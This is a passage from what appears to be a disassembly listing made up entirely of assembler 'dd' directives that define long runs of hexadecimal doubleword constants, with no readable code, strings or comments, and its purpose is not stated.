7D603DCFh dd 1D71BC22h, 0E711580Eh, 77C420E2h, 91C80876h, 0F9569D38h dd 8FB8F61Ch, 77701EBh, 0C06DF9A0h, 0DB30C7B0h, 0F282C900h dd 206B915Dh, 44F307DDh, 0B1316E55h, 0CCE2D4C8h, 0FB00F125h dd 0D1094B0h, 99C602h, 303A68A1h, 41FE47C5h, 2E1620EFh dd 5BC41200h, 5F2A0877h, 0EB3612A3h, 54F4216Ch, 8058301Ch dd 16FDA21Ch, 3D29B380h, 58BA6878h, 0AB0F549Bh, 0C9DE1B4Dh dd 68AEEEA7h, 9BA031EFh, 1D030C25h, 0B881AB00h, 880E723Ch dd 0FC8700AFh, 6A751C76h, 450089C4h, 0C0FAD4DAh, 5659C5h dd 0CE2B3093h, 38169B27h, 0E1051900h, 5BF5D0AAh, 51B8944Bh dd 74720C46h, 77FB18FCh, 0E4712083h, 31F892F8h, 916DB325h dd 5E0CC938h, 1C8E1E40h, 43B2B01Fh, 56AAD2F1h, 0A67151E0h dd 60973580h, 0BE206070h, 5575CDD4h, 760318D2h, 35A9DF4h dd 69C2A229h, 31028B45h, 0B4CD7296h, 408B61h, 1624305Fh dd 0DBF91DF4h, 0DA03010Fh, 417351D9h, 40B82238h, 87415374h dd 13C94700h, 25DBE2E4h, 9DA5302Bh, 552DF706h, 8200427Ch dd 0D6175E81h, 534894h, 29C65805h, 0AFC9CCE4h, 0F6DF9F00h dd 0F213FAB0h, 0C0FC33h, 0D626B7ADh, 40FFA2EAh, 9279E000h dd 0E854E5A3h, 608B005Ch, 18A08B5h, 94000C28h, 0B0E962CAh dd 0DF1D8126h, 0E44B00A0h, 0A56A7882h, 32C97500h, 9B43ACC7h dd 95B8009Ch, 5CC59215h, 0F600E93Ah, 7D58D4FAh, 81702Dh dd 4A10E0ABh, 9C57BC0Dh, 8B865100h, 0CDFB655h, 9E70B3h dd 0D4D0F498h, 0F9C94091h, 0A8814C2Ah, 0CAF34100h, 557C575Bh dd 0EFC807C6h, 0AEB6BB2Bh, 0C7072C60h, 1A009B8Ah, 0B39DB9F5h dd 770C1046h, 0B75C0024h, 29366B51h, 3B73DC79h, 1ECD9F00h dd 7E11F230h, 54B27Ch, 3390FF0Bh, 0A2FDD07h, 0D62DD501h dd 3404FEFh, 0A051DEC8h, 12DA75F4h, 1261A4F5h, 0DC40500h dd 99548020h, 0D700F39Ah, 0A48EE42Ah, 43F5DBh, 20C78B26h dd 0B72E15A0h, 3F5CF700h, 2241AC35h, 658A00A4h, 9517701Ah dd 25076DB0h, 0B3F188C1h, 0E0FCB1F2h, 7E5045A4h, 9E7B0B4Bh dd 700092FFh, 8FEC56Eh, 73155200h, 2305E7F6h, 0C0320004h dd 36ADB476h, 0E9008A5Ah, 9CBC1907h, 266C4FB6h, 0D04227h dd 7DEB873Dh, 3700EC73h, 0FF6DAA07h, 0A6123Ch, 0BDB998BFh dd 0DEF64F5Bh, 0FD70AAA1h, 0FE1CF03Fh, 0DB9B8216h, 0AD80545Fh dd 0B208A844h, 611D0053h, 0DD550BF1h, 0C4E69C52h, 24E768C0h dd 0B0AE0F6Dh, 129905B7h, 40FFFB4Eh, 0EC8B67A0h, 4C015DB3h dd 66ADF2BCh, 0A882525Ch, 0E8735B15h, 5AD668C0h, 2E330E04h dd 0F0902FF2h, 1A7DC1h, 1005387Fh, 55BA95A9h, 6BC00416h dd 59ED9441h, 0E464CC6Ah, 69A500A3h, 0ABF0610Ah, 4200D701h dd 632CA07h, 1C140BDh, 44DCFD7Bh, 0F946B5F4h, 0C7B6E457h dd 0BEEFCB39h, 0AD1080B8h, 43ABE99h, 0A2F00B25h, 7C235D61h dd 4780DDF1h, 2300FE85h, 5FFAC4B2h, 755761h, 32F189D3h dd 0EC7E47F3h, 20006494h, 0C121B9CBh, 0E0B7F242h, 0E35E0164h dd 2879569Eh, 3D18342Dh, 0A7008B90h, 0ABB258C1h, 0FC90847h dd 716C5784h, 870EF3E1h, 4F8980BBh, 0DA11D1DBh, 0D7D400ACh dd 8CC16EC8h, 1B000DEBh, 0FB9A7E76h, 0A47A15h, 5C640918h dd 71F5E36Bh, 0CCEA8700h, 0CBAEF3E2h, 3D8F2684h, 7A6700D0h dd 0E5D9F440h, 28465103h, 98AA74A7h, 2F089h, 0D79A5912h dd 0F9E96F7Ah, 1AB48215h, 0ADBE00D4h, 0C0CB6B56h, 5169005Ch dd 42DAD453h, 0E8006222h, 5A2BC6BDh, 2E7C08BCh, 914ABFh dd 66C4CBC1h, 60C6EC8Eh, 0E1B3D8h, 44FF78B1h, 75B971E2h dd 482DBA01h, 0F92CBC45h, 2E1C434h, 156FF18Eh, 2341BB4Fh dd 5F2FC442h, 0B5B99B00h, 0E96E70ADh, 0BC9A0090h, 1A029E51h dd 0EF7C1291h, 18D2DF00h, 0FE8243A8h, 98E1E1F9h, 0EC20DDF1h dd 17050F20h, 9EE08DA1h, 9A11552Bh, 9BE0E100h, 0DCD32C87h dd 0BF5F0052h, 0DCAE4AFh, 912EC1FDh, 1B003093h, 31679F0Ch dd 0D210C092h, 89B6246Bh, 7E50BFh, 75BB496Eh, 0A9B77077h dd 6917AD98h, 6800B6F0h, 5DE0C744h, 71C90076h, 4A22126h dd 731D6E4Ah, 90879932h, 1631A48Ah, 0C3EC13F3h, 0B10C1D15h dd 514FC19Eh, 24E67867h, 0E30EC82Ch, 0CF4C8825h, 6F5AC5CBh dd 32394CC0h, 0F40C1ED1h, 99D001EDh, 70353BE6h, 0A700B5D3h dd 3A7C674Ch, 7E5DBF6h, 4BA92F45h, 2E7810A0h, 0E800CD0Fh dd 3F665003h, 0A14285h, 0CCD2814Eh, 930E6ED9h, 0F6455E3Dh dd 6D0013E8h, 0B3070BEAh, 46FEC9h, 28CF8FE8h, 6B88F925h dd 438CD4Dh, 3D98B848h, 96C3D380h, 1FF2002Ah, 6F705401h dd 230132D9h, 9ACF52EAh, 683D63DBh, 9C9F0700h, 0A711958Dh dd 24924F7Dh, 0D23B480Eh, 0A5714064h, 392F9Bh, 3A83968Ch dd 68B64AF2h, 2B63E904h, 6B8138FBh, 0F820A17Dh, 0B50986A7h dd 0FB2668h, 8CB40FE8h, 7A6100AEh, 2DD728F4h, 3201B66Ch dd 4AE83F7Eh, 0FC6452BDh, 0FF340140h, 0ECACB373h, 0C038F448h dd 2D519218h, 324DE1A1h, 66C98A9Bh, 0FF14FC60h, 0AC00244Ah dd 0EBABE306h, 0A55A00F8h, 0F43FEF8Fh, 82035EBEh, 0B60F2584h dd 30E4D8B7h, 458E0E64h, 8BEE622Eh, 7FF68FA1h, 0C44BD866h dd 0B5408400h, 7BCDA610h, 3AFC7230h, 568036A2h, 0B6455350h dd 0FA132085h, 0A091C68Fh, 310A1ACh, 0A330AD12h, 1B39E659h dd 0B2F10056h, 99E73747h, 65026EAFh, 0A6F7D877h, 1C5E635Fh dd 92E0398h, 98487319h, 2C72F693h, 99DE5A04h, 2B803E85h dd 0E543B2h, 0FA98848Fh, 12D533A9h, 7456812h, 2ECEB420h dd 0F53403F3h, 0BE65C60h, 0C61C48D8h, 0CA119D1Dh, 9AE58F7Ch dd 586BC0E9h, 7CE18EBh dd 4988EFC5h, 0E2800F3Fh, 37D16C4h, 1847A400h, 0ABF6280Fh dd 0E31D326Ch, 0F0408030h, 0B000DAE5h, 2446EE3Eh, 0BC3833h dd 8E4FAC8Ah, 7BA30C36h, 7AEE31C1h, 60F27658h, 1691DC68h dd 9A09B2h, 25541AC7h, 1300AFB5h, 898D83Eh, 0A0731E03h dd 0E6688FCAh, 32CF265Dh, 0A02B80A4h, 4EE8E7Ah, 0A1BF1C00h dd 0FC442B3h, 0B2AF000Eh, 6260F9C3h, 8A076B34h, 0FEE7C9E5h dd 0A1138000h, 35F23A24h, 5AA49682h, 4C51EF3Ah, 40E89447h dd 7CCF5B89h, 0C11E43Ah, 183FBE53h, 87393C69h, 11256619h dd 154EE041h, 0C057F100h, 0DE6DFFB2h, 9D840085h, 31DACBA0h dd 620089A4h, 0F8CF12CCh, 0FD4D623h, 571F86ACh, 0BEFF87E0h dd 16072202h, 0A8AAAEF4h, 0F3E0A6A0h, 5AE451h, 0B3A2807Bh dd 891184E4h, 30147801h, 0FAF42EACh, 0C9C0E078h, 0DBE2EDD7h dd 5B4F8400h, 0A201FC97h, 591A3B43h, 0AF70007Fh, 738920DAh dd 0E0001DF1h, 0DD984207h, 29FC9Fh, 1B2F4C24h, 1F0603E9h dd 52768700h, 66B2FB27h, 0E01E0E34h, 5F20532Ah, 0D349565Ah dd 0F3956300h, 0D1071912h, 9E230344h, 456B7BEDh, 2A1C0890h dd 56D78600h, 1EFA84Ah, 6FCF0372h, 0C242404Eh, 0E5ED3298h dd 43996A00h, 0BA3A1E80h, 0F0609B3h, 61000A9Ch, 0CB6D91A1h dd 25958900h, 44AA5394h, 0DACD00C5h, 0A45CF957h, 7DE21245h dd 5F95FF00h, 568BFC13h, 7A3F6BEh, 65532224h, 0EE2590A8h dd 0FB12F92Fh, 8A44DA2h, 17451F83h, 0F46EC1F6h, 983E2231h dd 0E5214908h, 0F917074Dh, 0B752Dh, 0A8696858h, 0D7291D00h dd 13E3D82Fh, 0F94D31AFh, 8B674710h, 20FD7A38h, 0BB7763CCh dd 0B83B004Ah, 0E892D9AAh, 7900A532h, 88852412h, 667D48Ch dd 0A013157Dh, 0FA3A39FCh, 0D3950C4Eh, 0F811D7h, 694463F7h dd 51FF86E1h, 0FC08F166h, 927A21h, 61701460h, 0DC66313Eh dd 69D86B03h, 603A9B0h, 0B5ADACA0h, 0EB046812h, 7DE31796h dd 0D2F888C0h, 521309B4h, 7F5D181h, 0A25356CFh, 6FB000FBh dd 83764918h, 0C0007420h, 7ECFB3D3h, 4C92Ah, 8B08AA47h dd 691DE34Fh, 84D6DD00h, 2A247880h, 0BEBC09AEh, 0A280CCE4h dd 0E35FC9A7h, 0B9EBCD24h, 3C611Dh, 0BBB9495h, 2F8DBh dd 9A2CA1F7h, 481107E6h, 5813F00h, 0A9A48293h, 2B59131Dh dd 9F77000Ch, 0BBC206ADh, 787DD600h, 0E6ED0147h, 0DCF7031Eh dd 4B27AEB2h, 0C296FAD0h, 0E2C33500h, 52087DC1h, 8DC6002Dh dd 0FE57BF5Ch, 0DA014D37h, 729B81D6h, 98E89154h, 459900A1h dd 84B46DBh, 0FA02BFEAh, 28191679h, 138E4002h, 8BE26Ah dd 8973BAA6h, 7EDA6712h, 0B961D22Eh, 0FC80321Eh, 53BF4888h dd 4CC50F2Ah, 37605F20h, 0D58F303Eh, 19BBCE00h, 2897088Ch dd 0BAFF0623h, 3C299484h, 0DF4DEF0Fh, 3F172074h, 3C92F669h dd 1E0087CAh, 5E527799h, 36007A34h, 0A9EC8CE8h, 5CDEF818h dd 8613842Eh, 63D0084h, 3C1B2C81h, 9CA03FF0h, 0DD3A4C4Fh dd 0A54D80D2h, 28617E16h, 897403C0h, 2A254A6Ah, 877F40A9h dd 209A1218h, 8F72C3F0h, 0A8640054h, 8626D802h, 0BD019F0Fh dd 3C13D563h, 618018A3h, 0E589A66Fh, 2A1F0538h, 2C493A04h dd 1B6E006Ah, 37AC112h, 0F945A8B4h, 0E1C01DB2h, 0AC0095E3h dd 1A180BF4h, 0CECC04h, 0F8AF9663h, 0E9AA866Fh, 95001CF4h dd 0EA265DAh, 0DFA4D7Ah, 8F25748Eh, 0F9556028h, 4EF46375h dd 0C3B5DC00h, 0CD887A21h, 0F09F4882h, 444E201h, 70EE8A3Bh dd 4A001D24h, 0F93C4212h, 7E60B74h, 0AE9A9F3Eh, 0F0214059h dd 0C90084F7h, 151DB483h, 0BB450Eh, 8E545C98h, 41B6A67h dd 6314E15h, 0C4A17E80h, 0B2A8EC72h, 1A998600h, 0E2406D5Ah dd 0D69E3B66h, 0BC44BAD8h, 73C800E3h, 1F230CEFh, 4E03CBF0h dd 0DFBCA2DAh, 0D214B8B3h, 16620007h, 0E9F1DD1Bh, 0D81E9102h dd 9F474F41h, 6CC045EAh, 0B0EB0E49h, 4D69034Bh, 79A4C999h dd 219144F3h, 0E54FD43Fh, 0F7949050h, 0BE7A8C0Eh, 2936A047h dd 3C395F34h, 8080CF2Ch, 0F0F538D4h, 0A65011D6h, 4E001BE8h dd 0D3F70B4Bh, 0FE52C2EDh, 0A0109267h, 0F8B8E990h, 75F1004Ah dd 41167826h, 5618B46Fh, 4F2963FCh, 52740094h, 0DDFDFBB7h dd 4005ACD1h, 0AB7C896Bh, 12419400h, 1D601D26h, 8085A06Eh dd 0C0037AFAh, 1C06A6CFh, 0CBC41E8Dh, 0B9FB0051h, 5C430868h dd 113D98DFh, 0F1A60083h, 0A4A1FD8Bh, 6A7B2EFAh, 19E30078h dd 9AE6D2Ch, 0C8375401h, 0AFC280EBh, 0FEAACCh, 4DF683E3h dd 0BC97FD02h, 0C48C5707h, 201C81E6h, 2A80000Ah, 84C177Bh dd 1805E4EEh, 0ABBDB28Dh, 87641E80h, 73961C30h, 86BF4368h dd 0AC0EF08h, 3700C1BAh, 3B58650Dh, 42583E7h, 2D24C711h dd 9E25C01Ch, 1C90191Fh, 3BAB770Fh, 87B7C0F6h, 0E06C5DA5h dd 348E0025h, 85F8A84Dh, 5E185CBDh, 0FA987733h, 86AF2439h dd 6883000Fh, 15E3EFC7h, 5E5F0F00h, 87D45BC2h, 24FFEABh dd 0A5C3FA75h, 3E064ECh, 490F61E6h, 8C3265h, 0E4563415h dd 94E300E9h, 0D5CFA6ABh, 0E207EBC1h, 793C2864h, 5F96E4C0h dd 0A9750C1Ch, 0CC0250Fh, 481BCE20h, 4BA07C65h, 0D8A87E27h dd 7A00E1E0h, 0BDE1BFAh, 0FC853909h, 0EE1C24F6h, 60738000h dd 58904B45h, 39CD9E36h, 29963B28h, 0C98F11E0h, 1D00AB90h dd 0F719A4D6h, 95EFB4h, 796D643Ch, 35595181h, 2E023Fh dd 8FCD1D6Fh, 89E986h, 9E48FD06h, 0F6519FE7h, 0F2370D0Eh dd 461F60E6h, 38B5C722h, 8187BBFCh, 70D79610h, 28660A92h dd 160E9C32h, 7BF060D1h, 51BD09BCh, 0C42084ECh, 199C7FDBh dd 4C50EA0Bh, 62CE00B3h, 0AEA90Bh, 99DADEA1h, 0E74F6176h dd 944EC10Ah, 9E0EDCA3h, 49EB2667h, 52DA0011h, 0E8F43D03h dd 0C3003905h, 0D1E78C01h, 0E5875B8h, 0A3B2C9B4h, 0A815EAA1h dd 6901C098h, 70718501h, 0E6054E66h, 0A70230h, 7310D55Ch dd 83E54C8Bh, 0F6A5F800h, 0C91152BBh, 6E6D3B3Dh, 0D3FCCA1Eh dd 71DC0008h, 0B6A2FABAh, 8CAF5C00h, 213384BDh, 709D5094h dd 0B8B701C7h, 0AB2952D0h, 0F33CF0D7h, 0B006C74h, 3E2F7B33h dd 0A1EAEC65h, 0DCE0C6D8h, 0DEA41704h, 170B0063h, 78322216h dd 622BA100h, 69F670B8h, 9E9C0226h, 0D936575Dh, 80E8C4C0h dd 8F395498h, 0B1DD03A3h, 80EB111Dh, 39CF66h, 81D3DEF7h dd 149080FDh, 0A72A8701h, 0BE7EB222h, 0DE00F063h, 8F68AF77h dd 917053E4h, 581F3400h, 0CC8BA988h, 161D0005h, 0A24EB57Bh dd 0FE0EA132h, 40978E19h, 0B7EFBD42h, 6F6009Fh, 2A83592Dh dd 5500D058h, 8C37A5A0h, 0D560Fh, 7C43252Bh, 0D71861ECh dd 0A4A24913h, 921DA040h, 0F84DCFh, 54D32837h, 0DAEC1642h dd 39A32000h, 0C9D4F035h, 0DE1500A7h, 4AD61B64h, 620074F3h dd 0DCE68FB6h, 57DA40h, 0A630FA5h, 7B98692Ch, 0B409149h dd 201FB7FDh, 0F57A40C0h, 0C34707C8h, 7C85E7F9h, 0A43CE018h dd 1FDA19B1h, 3A00EC11h, 4973ABE2h, 5FCC20C0h, 0E4E1A3h dd 8A12C377h, 0F182171Fh, 4A2C68C0h, 41267Fh, 0D4D8E02Bh dd 0A5F9E6D2h, 0B76ECE0Fh, 23D9C025h, 57C122Ah, 986C2CF5h dd 14540466h, 0B49E208Ch, 79F361B1h, 4886E11Dh, 38CE9A10h dd 0B1C8BBC8h, 0E0CBEC1Ch, 0F112A3h, 9F350790h, 746889EBh dd 0B9620E00h, 80B68A92h, 61A20E69h, 0ACC30214h, 0E09F3D2Eh dd 4E8291F7h, 5F68F900h, 0D7ADEE8Bh, 54C400CCh, 9FD4077h dd 102243Eh, 10BE4C9Fh dd 5A10E00Ah, 81140C7Dh, 3CC898F1h, 87053Bh, 0A9F5FEECh dd 2B5044h, 0BB5C83F8h, 48C9F24Bh, 4185D800h, 0F11888E9h dd 3ABE6DEh, 156E4905h, 6591E4BFh, 4AD64310h, 161FC080h dd 75BED217h, 0C3F8D020h, 983F446h, 0BADE04A5h, 9382807Dh dd 74CF65h, 0C63CE80Dh, 50ABB173h, 98C4E900h, 2593442Dh dd 0BE201AAh, 0CFE15B1Eh, 0B6C3F814h, 2CF27C24h, 0C0E9D801h dd 0C8F87D3Ah, 60A50081h, 0D114285Eh, 2204AEF0h, 0DDF21ABAh dd 0CF329890h, 0E2D60A97h, 1AFC4F4h, 0F850476Eh, 109AFC15h dd 0A0769D00h, 37F5698Bh, 6ECA18F9h, 0E2B928EEh, 4D6A5818h dd 1829911h, 8CC5CC7Ah, 70F0238Eh, 0C6002F4Ch, 53CA29EAh dd 137BF5Ah, 36CBA7D7h, 0D87D111Eh, 9903814Bh, 0E786B126h dd 0CA85809Ch, 3F720EAAh, 0D8A01057h, 538AB211h, 1CEB9500h dd 131F653Ch, 27560582h, 90C90B8Fh, 0E44D5A58h, 1A44330Bh dd 623CA038h, 22F9B7Ch, 805825CCh, 30C07770h, 0A14C3EC0h dd 9CF200ACh, 1BE9309Fh, 892B0BC8h, 949066D6h, 3009457h dd 682A07E2h, 4A199B4Ch, 0CF24045Dh, 12238187h, 4F10F4D3h dd 0FEF1E900h, 9967E259h, 0FFCF7B1h, 0B87748h, 0E03A9D73h dd 0BCCB823Eh, 80E3F400h, 28D1164h, 23880EB9h, 570E4110h dd 6FD91520h, 3100F716h, 0B060FC4Bh, 740D5FC7h, 96628CDh dd 0E16D0BB0h, 68031938h, 39F823BAh, 5894A64Bh, 7D9900F3h dd 2BF27003h, 0A200B7F9h, 0E0486117h, 22E9DDBh, 0D036E9D7h dd 3CC040F5h, 8A00C5BFh, 207F316Ah, 3CA3249h, 3C13DCAEh dd 0F6D9234Ch, 0F010616Ch, 0CE006ED7h, 0F9D1E8B0h, 949F3Dh dd 36DFB9B1h, 3BF0C0ECh, 5300089Ah, 4793D8DDh, 0F65CEE6h dd 0D3BE8C25h, 0BA70FCE0h, 0C52EE021h, 8400348Bh, 9E234D42h dd 0ABC604E6h, 804393E8h, 800C4F1Ch, 57692B01h, 0C022B43Bh dd 1BCF4C4h, 0CA123E06h, 0CE994E07h, 5007E850h, 43D9FA4Dh dd 11515520h, 0A76903D2h, 0C78AF4CEh, 8B6130C0h, 606F7E30h dd 0FD024Ch, 0CB7BB3EAh, 88B8B965h, 4DA0C100h, 3E49CDFEh dd 0DF89004Ah, 0A5CEE2B3h, 30ED5878h, 4492973Dh, 0C41FC500h dd 2E469A1h, 922C9091h, 455300A0h, 0FB061DCh, 7F0066C5h dd 0AB8C4AC0h, 195CCEFh, 0D13BBA25h, 0DD44ACE5h, 1E1B7006h dd 853FE00h, 2B61602Ah, 7A1C2442h, 5C9A00E8h, 0CD5799E1h dd 0D3E44F00h, 3F7C7B1Eh, 0BF20C05Eh, 27FEA6D6h, 0F2225200h dd 0C59108E7h, 0A9DF00AAh, 34BE84BCh, 0D112A4DEh, 84881C30h dd 0F15E00ECh, 55286447h, 540017B6h, 9E8E773Eh, 1DE2EEh dd 0E8CA1E72h, 2D36F746h, 96496F3Ch, 7F096550h, 0B13C82D7h dd 69C4AEEDh, 899041A8h, 947582C4h, 0EB290E1Ch, 6378803Fh dd 0CE0A88B5h, 0CB8AAA00h, 7935123Ah, 666A3EABh, 0C560F400h dd 86271681h, 0A0705A4Ah, 6C4B13h, 919F9929h, 0E9CE2AFBh dd 0BD937F01h, 79F98AACh, 165D0870h, 0F34430h, 0E0DCFDDAh dd 0D9E88BDEh, 4194Dh, 0ACC19BD3h, 2CFEAA7Bh, 2D88CE2h dd 7E0E035Bh, 6FE5B140h, 0C801CE4Bh, 0C8ADD885h, 397AD180h dd 9A13CA3Dh, 6B5090FAh, 0D260A7C2h, 3E4F8C21h, 0E836027Bh dd 0AE3E1D4h, 0AD009470h, 2438379Dh, 17A35Bh, 0C652972Dh dd 50E5FF57h, 74D241C1h, 0A8288192h, 65B4CE0Ch, 9C013141h dd 0D50E12C5h, 9434A97Eh, 3BAB02E9h, 6A4155C1h, 23F9BC20h dd 0BC9C4Bh, 0D5A3483Ch, 341ED306h, 53439774h, 0D82A155Bh dd 168AF342h, 4D915Eh, 2DA8789Dh, 2F00D0A7h, 71C96A92h dd 0E2B5F429h, 9E2B04E4h, 80AA8033h, 0B02F021Ch, 0A4BB1C28h dd 0BD9B3206h, 3D114037h, 488025F6h, 717E682Bh, 3E188DE1h dd 12115E3h, 0F7891EACh, 46378026h, 4B6BBC7Bh, 5300F490h dd 0CEEF7EE5h, 4D355Ch, 23A6B0A8h, 0ED33C63h, 29757F00h dd 7CF2FAD9h, 173B5C15h, 5F7DFD00h, 36EF8ECFh, 81A03C00h dd 0F502749Fh, 469E093Fh, 2800684Ch, 0A06C8E26h, 7AA3370Fh dd 801EAE25h, 3CE189A6h, 1A4D0130h, 55AECC0Fh, 0F91130C1h dd 1BBF4005h, 0E000A10Dh, 28275CC8h, 81081F74h, 1D6683EDh dd 9DD0D887h, 0D4173669h, 3AAC7C09h, 7D90FD00h, 395A4050h dd 0ECCF9A00h, 5F4B22F5h, 277334h, 0F8DDFFCBh, 6B367311h dd 68120101h, 0C0E46F0Dh, 781D70h, 0DEF0AD6Dh, 64B0B72Ah dd 198B7900h, 4E38F71Ah, 0A7AE0127h, 0B872FB0Dh, 5F90D46Ch dd 0A58E1401h, 0B2709BC1h, 9E38024h, 1EBB0894h, 92891820h dd 9E3E80AAh, 0DAFE0F4Bh, 0E6AE0FAh, 952801h, 4DDF77Dh dd 0B34D272Ch, 3903000h, 9BD5BBDFh, 616E174Ah, 7C07AE0Dh dd 0AAD163BEh, 4FF60E7h, 0B1BCE070h, 1464C118h, 12202987h dd 3C909198h, 1D7C1216h, 6422C0Bh, 18EEA517h, 7F785AF0h dd 18086812h, 0E857097h, 0F514FDC0h, 0B7F30462h, 0C75857D1h dd 27A0BE06h, 7E1CD3F9h, 921B840Fh, 9917C23Fh, 2C38809Ch dd 0F0267C2Ah, 911C632Bh, 80E00ADDh, 0A50216E0h, 14C3AFE4h dd 0B658808Ah, 0F5B1D4h, 0E491649Ah, 0C6E8C347h, 5827BC08h dd 0AAD124Bh, 83B4A359h, 0D42B4938h, 0B13A86E0h, 61A6A100h dd 65D605F3h, 58A40019h, 4A9CBB50h, 1E0E79CBh, 0A06648A1h dd 970244A3h, 12B1C1BDh, 0C08249C9h, 0A10109CFh, 21780FA7h dd 54FC380Bh, 5DB838AEh, 98B9DD02h, 0A0A36479h, 97C8CEF7h dd 0F807B64Ah, 98D3161Ch, 1E1EECC6h, 572A2Dh, 1D07CC9Eh dd 0CF1F8DFAh, 0A000C5B5h, 1C532638h, 8583015Fh, 447598E9h dd 6096D0BBh, 0A539E000h, 0C53E4E6h, 0F2570F2Ch, 0DE40275Eh dd 0EC4D0E25h, 20EEF100h, 6512ACE2h, 0FB07218h, 1EA1B68Bh dd 44209BAEh, 826BF31Dh, 3FA738h, 0F9AA9F4h, 3F6342B6h dd 831D7FD2h, 93C003Bh, 0CFB4818h, 205AAF03h, 30B2B765h dd 0F9214208h, 0A71CFBB0h, 0F24049D3h, 9AC56217h, 3BAE0189h dd 4C39AF63h, 300DCD7Bh, 7E6359FCh, 64EEEC18h, 606E7040h dd 23D5FB55h, 3311E2B0h, 0FB5DE600h, 0C362FC1Bh, 0F267B006h dd 0F6046B9h, 7F38093Bh, 57AA08AEh, 0E1C0008h, 0FC54879h dd 1F730424h, 300833h, 7AD47B21h, 0B70DEED8h, 17445701h dd 14E4226Dh, 861588Eh, 0D1802834h, 27C5477Ah, 858208Ch dd 793B7C00h, 729AAC49h, 0CC820003h, 9E31997Bh, 26605754h dd 20D55149h, 0FB6B07ADh, 904BF886h, 5F178FCDh, 36B25Ch dd 1E9DB5A8h, 0B8AE2666h, 601F03A6h, 7C383F3Eh, 804E2EC1h dd 587A9E10h, 1652D0h, 38F1BA7Fh, 2295B734h, 0D6307200h dd 29B15691h, 0DD9D0067h, 16FE2147h, 5438F1F3h, 0D9F5803Ch dd 0A092D1C6h, 714500FBh, 9B22E27Bh, 670E1438h, 168B91Ah dd 0C6F12FF3h, 0E6611BFCh, 0D58C03E9h, 0D4BC6CA1h, 5F74E7A0h dd 0E87A7600h, 7EF6C3F3h, 3120369h, 0BA84C92Fh, 0E2DE1C00h dd 18060FEDh, 38F6A1h, 217716C6h, 0E3D87262h, 0D056C800h dd 7BB21055h, 6FE60022h, 413FEBF8h, 8014FBEh, 6CC1E18Eh dd 23E84903h, 5A3005Eh, 0D4D0FC31h, 0C30058ECh, 92AB51BBh dd 76B72766h, 0BC8F0016h, 2AD20585h, 0A000982Dh, 3A2FDF01h dd 60DEE6A6h, 5E6211B8h, 0C0F38560h, 1C00BE9Ah, 0C287143h dd 5AF221h, 0F4FE37Bh, 0C0EC23F4h, 53A21E00h, 0EA81798Dh dd 828300DEh, 1CC1AD2Eh, 271DB087h, 7507E049h, 256199ACh dd 0A883A68Dh, 0D22C4D8Fh, 0CA5808D0h, 22797700h, 38696432h dd 974E00EFh, 17290AD6h dd 880021CDh, 53B106E6h, 14A02FE0h, 945610DDh, 9C036700h dd 111B9D01h, 0F474461Ch, 9755E700h, 0C94B1DBh, 0E37FCBF1h dd 2D008161h, 72BCC1FBh, 3A38E524h, 0F4BD9D21h, 0E0F59106h dd 0B43E187Dh, 3100707Fh, 0ED30ECD6h, 32CA0Bh, 7DC9FCA7h dd 463A8D33h, 0F2398F00h, 8BBDE014h, 1F682CB4h, 931C052Fh dd 0B7EC0F6Ch, 69F613E1h, 5BC180B6h, 0CB0931EBh, 0E9F003C4h dd 0F629A157h, 3B103107h, 0BAC0079Fh, 5C11C7h, 20A9C35Dh dd 95FEBED7h, 6D97AE03h, 901E864Fh, 30BC3066h, 4941FD42h dd 7D75A13Ch, 7B75F100h, 0CC9DD66Dh, 10A958C6h, 0CBE40A06h dd 197FD810h, 1EB02B0Fh, 0A96E12h, 210D2A91h, 71B400EFh dd 0C26D5B19h, 441CAA9Fh, 23408DADh, 0B0C9BBC4h, 74CE0089h dd 0FA84F937h, 8500A9F5h, 40E9B863h, 40D6F4Bh, 0AE2ED27h dd 32AC80E5h, 9938FCDBh, 0ABBB0090h, 144C5661h, 7077E1h dd 53124DFDh, 90412894h, 369CD81Eh, 9395E040h, 2EF496Ah dd 88AB1422h, 0CD8071A4h, 919EFC2Eh, 0B7323B02h, 829C2779h dd 20B621F8h, 6D0DE92Eh, 0DEB4F001h, 6E8CCD6Fh, 54BAE720h dd 6A019h, 0F5D475A7h, 876192DAh, 65F87000h, 0A3B7DE2h dd 990324E3h, 3558BCF0h, 0B2CF4D00h, 6860C251h, 4F54E600h dd 0A25F24CBh, 6AF63CDAh, 0BF184D80h, 0E6323A82h, 0E8B840E5h dd 8249652h, 74904CB4h, 0FE387A80h, 0F4007FEBh, 1941B750h dd 0CF1D79B3h, 2400EE38h, 5EBA63ADh, 4509A1Dh, 0A400522Eh dd 0A87BCDAFh, 423900C1h, 814E2F35h, 0BA003324h, 23EC8A1Fh dd 73D2FE45h, 267667h, 95561B9h, 272433F5h, 80EB4138h dd 3BD02A90h, 7B712CDBh, 0D73700ACh, 27BFD108h, 42018FAAh dd 0A39EFBF5h, 0CCE4B460h, 390F006Ch, 7378BBE1h, 0D1008B34h dd 3F0D5EFBh, 67290C26h, 6EB0200Eh, 7FFED980h, 67014C6Ch dd 0F277BA73h, 4BF01D3Eh, 0A3C000E3h, 0AD3971A0h, 0E000F0D6h dd 0D69BC05h, 17152FF6h, 0BE1A7BCFh, 9BD63C01h, 0C0E4C773h dd 65540587h, 0C74399ABh, 0E11A60F7h, 5250A81Bh, 0C8C01D81h dd 0F98BBEF5h, 1E9877DFh, 80AE88D3h, 12571635h, 0FE01AAB9h dd 0C3555E28h, 582067DAh, 15FA0109h, 0BAC7F91Bh, 36488F61h dd 440EC023h, 12C29B3h, 6EB45F31h, 0E0E7FF32h, 0A4921135h dd 78200C00h, 46EED0DBh, 248E0059h, 81086A5Bh, 4A26C8BEh dd 7303007Ch, 0C0218F10h, 0F403787Eh, 0A4550124h, 5EC7F4D8h dd 0EBE8F07Ah, 0A500CC7Eh, 0AE311076h, 675983h, 0AB1F4FCDh dd 9C20C02Fh, 6EA0F603h, 806D8DD1h, 73B37981h, 0BAD00084h dd 0BC96716Bh, 0B9499553h, 13AF39C8h, 2008DD5Eh, 2F40808Dh dd 0FB209C59h, 4D1ADF00h, 80FFD9F6h, 6B68003Eh, 2DF23B37h dd 0B700ECD7h, 3AD09EF9h, 9CB2D6h, 0EE4A4E09h, 417C4FD5h dd 79ADC5Ch, 0CF26E365h, 518AE520h, 82FC3C1Dh, 19700F30h dd 0B7F6D64Ch, 0E2643C1Ch, 0EA4231C0h, 746DCB81h, 9E5000A7h dd 5087860h, 860B2B52h, 80BD25C7h, 0EEDDF106h, 98FE0024h dd 1867019Fh, 0EDA0E857h, 0F1140BB4h, 7284058Fh, 0CED9EC01h dd 3A725396h, 0F00EA17Fh, 0EFE08065h, 0F0639700h, 